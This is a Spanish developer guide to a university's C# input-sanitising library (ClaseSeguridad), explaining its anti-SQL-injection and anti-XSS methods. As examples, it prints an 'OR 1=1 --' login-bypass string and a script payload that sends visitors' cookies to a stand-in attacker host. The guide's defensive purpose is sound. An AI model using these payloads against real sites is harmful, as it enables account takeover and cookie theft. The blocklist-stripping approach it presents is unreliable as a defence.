Aplicaciones seguras con ClaseSeguridad

Índice de contenido

¿Por que ClaseSeguridad?

Aplicando esta clase podemos evitar tanto ataques a nuestras aplicaciones como errores por cadenas con caracteres no permitidos. Por ejemplo evitar la inyección de sentencias SQL o código en nuestro formulario, comprobar formatos de datos como el curso académico o saber

Referenciar ClaseSeguridad

Al igual que el resto de clases ClaseSeguridad se encuentra dentro de la carpeta \ToolsNet\DLLs . Creamos una referencia a ClaseSeguridad.dll y la incluimos con la clausila using.

```
using ua;
```

Declaración y creación

Para usar ClaseSeguridad nos creamos una instancia de la clase

```
ClaseSeguridad oSeguridad = new ClaseSeguridad();
```

Evitar inyección de SQL

Una forma clásica de atacar aplicaciones web que acceden a bases de datos es mediante la inclusión de fragmentos de código SQL en los controles de entrada de datos. Conocido comúnmente como “Sql Injection”

Por ejemplo, tenemos dos cajas de texto, una para el usuario y otra para la contraseña. Leemos los dos valores y vemos si tiene acceso a la aplicación consultando en la tabla de usuarios con:

```
SELECT 1 FROM usuarios WHERE usu='valorCampoUsu' AND pwd='valorCampoPwd'
```

Un usuario espabilado podría poner en el campo usuario el valor:

```
chiquito' OR 1=1 --
```

Con lo que internamente la consulta que realizaríamos sería:

```
SELECT 1 FROM usuarios WHERE usu='chiquito' OR 1=1 --' AND
pwd='valorCampoPwd'
```

Permitiendo el acceso a este usuario.

Mediante el método **LimpiezaSQL** se eliminan todas las referencias a sentencias SQL que tenga una cadena. Nos devuelve la cadena limpia de comillas, caracteres de inyección y formateado

string **oSeguridad.LimpiezaSQL**(String cadena, int tamano, String valordefecto)

Los parámetros que recibe son:

- cadena → Cadena a limpiar
- tamano → Tamaño máximo de la cadena
- valordefecto → Por si acaso la cadena es vacía, valor que se le asignaría por defecto

Después de utilizar este método podemos consultar el valor de la propiedad **HayAtaque** para comprobar si ha habido inyección de código sql.

Por ejemplo, para el código.

```
Response.Write(oSeguridad.LimpiezaSQL("chiquito' OR 1=1 --", 120, "error"));
Response.Write("<br/>Hay ataque: " + oSeguridad.HayAtaque);
```

El resultado es.

```
chiquito OR 11
Hay ataque: True
```

Eliminar etiquetas

Mediante el método **EliminarTags** podemos eliminar todas las ocurrencias de una cadena en otra. Es sensible a mayúsculas y minúsculas.

string **oSeguridad.EliminarTags**(string referencia,string etiqueta)

Los parámetros que recibe son:

- referencia → Cadena a reemplazar
- etiqueta → Cadena a buscar

Ejemplo, queremos eliminar todas las veces que aparece la palabra *select* en una cadena.

```
oSeguridad.EliminarTags("select uno Select dos select tres", "select");
```

El resultado sería:

```
uno Select dos tres
```

Evitar comillas

Mediante el método **EvitarComillas** se eliminará todo el contenido que halla detrás de las primeras comillas simples de una cadena. Hay que tener cuidado al utilizar este método con valenciano e inglés ya que perderíamos el contenido después del primer apostrofe.

string **oSeguridad.EvitarComillas**(String cadena)

Recibe como parámetro la cadena que queremos limpiar

Ejemplo

```
oSeguridad.EvitarComillas("hola Juan 'el algarrobo' y olé!");
```

Devolvería:

```
hola Juan
```

Inyección de código

Además de evitar la inyección de sql también se puede evitar la inyección de código "code injection". Esto se refiere a la inclusión de código html y de script en los controles.

Por ejemplo, un listillo que conozca una vulnerabilidad en nuestro libro de visitas en la web puede insertar un mensaje como el siguiente:

```
Bonito sitio, Creo que me lo quedare>
<script>document.location='http://some_attacker/cookie.cgi?'
+document.cookie</script>
```

Si otro usuario ve la página se ejecutará el código inyectado.

Pero tampoco hace falta que intenten atacarnos, si existe esta vulnerabilidad un usuario que inserte lo siguiente hará que su emoticon cause una mala formación del html de la página

```
Como mola este post, >:)
```

Para evitar esto utilizaremos el método **EliminarCodeInjection**.

string **oSeguridad.EliminarCodeInjection**(cadena);

Recibe como parámetro la cadena a limpiar

Ejemplo:

```
String laCadena = "Bla bla <script>alert('Caraculo');</script>";
Response.Write(oSeguridad.EliminarCodeInjection(laCadena));
```

El resultado será:

```
Bla bla
```

Comprobar elementos propios de las aplicaciones UA

Máquinas de la universidad

Mediante el método *EsIpUA* podemos saber si una máquina es o no de la universidad. Recibe como parámetro una IP.

bool **oSeguridad.EsIpUa**(string ip)

Ejemplo

```
ClaseSeguridad oSeguridad = new ClaseSeguridad();
if (oSeguridad.EsIpUa(ip))
// acceden desde la UA
else
// acceden desde fuera de la UA
```

Aplicación en desarrollo

Mediante el método **EsDesarrollo** podemos saber si la aplicación se está ejecutando en desarrollo o en producción

bool **oSeguridad.EsDesarrollo**()

Ejemplo

```
ClaseSeguridad oSeguridad = new ClaseSeguridad();
if (oSeguridad.EsDesarrollo())
// Estamos en desarrollo
else
// Estamos en producción
```

The End